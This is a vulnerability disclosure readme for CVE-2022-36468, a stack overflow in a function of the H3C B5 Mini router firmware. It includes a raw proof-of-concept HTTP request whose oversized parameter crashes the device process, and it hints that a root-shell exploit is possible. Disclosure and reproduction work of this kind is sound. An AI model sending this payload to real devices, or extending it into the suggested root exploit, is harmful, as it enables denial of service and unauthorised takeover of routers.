CVE-2022-36468: vuln/readme.md at main · Darry-lang1/vuln

H3C B5 Mini B5MiniV100R005 has a stack overflow vulnerability****Overview

• Manufacturer’s website information：https://www.h3c.com/
• Firmware download address ： https://www.h3c.com/cn/d_202007/1311628_30005_0.htm

Product Information

H3C B5 Mini B5MiniV100R005 router, the latest version of simulation overview：

Vulnerability details

The H3C B5 Mini B5MiniV100R005 router was found to have a stack overflow vulnerability in the Asp_SetTimingtimeWifiAndLed function. An attacker can obtain a stable root shell through a carefully constructed payload.


In the Asp_SetTimingtimeWifiAndLed function, the V11(the valueparam) we entered is formatted using the sscanf function and in the form of %[^;];. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V12, it will cause a stack overflow.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)

2. Attack with the following POC attacks

   POST /goform/aspForm HTTP/1.1 Host: 192.168.0.124:80 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: https://121.226.152.63:8443/router_password_mobile.asp Content-Type: application/x-www-form-urlencoded Content-Length: 536 Origin: https://192.168.0.124:80 DNT: 1 Connection: close Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1

   CMD=Asp_SetTimingtimeWifiAndLed&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.